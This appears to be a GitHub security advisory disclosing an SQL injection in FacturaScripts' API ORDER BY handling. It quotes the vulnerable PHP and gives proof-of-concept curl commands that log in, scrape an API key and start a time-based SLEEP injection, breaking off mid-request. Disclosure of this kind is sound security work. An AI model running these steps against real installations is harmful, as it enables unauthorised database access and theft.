GitHub Security Advisory: GHSA-cjfx-qhwm-hf99
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), CWE-943: Improper Neutralization of Special Elements in Data Query Logic, CWE-1286: Improper Validation of Syntactic Correctness of Input
Vulnerable versions: < 2025.81
Patched in: 2025.81

Summary: FacturaScripts has SQL Injection in API ORDER BY Clause

Details:
### Summary
**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.

---

### Details

The FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.

#### Vulnerable Code Locations

**1. Legacy Models:**
**File:** `/Core/Model/Base/ModelClass.php`
**Method:** `getOrderBy()`
Direct concatenation of keys and values from the `$order` array.

**2. Modern Models (DbQuery):**
**File:** `/Core/DbQuery.php`
**Method:** `orderBy()`
**Lines:** 255-259
```php
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }
```
This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.

---

### Proof of Concept (PoC)

#### Prerequisites
- Valid API authentication token (X-Auth-Token header)
- Access to FacturaScripts API endpoints

#### Step-by-Step Verification (CLI)

Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.

**1. Login and Retrieve a valid API key:**
We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
```bash
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
```

**2. Verify Time-Based SQL Injection:**
Use the extracted `API_KEY` in the `X-Auth-Token` header.
```bash
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/ap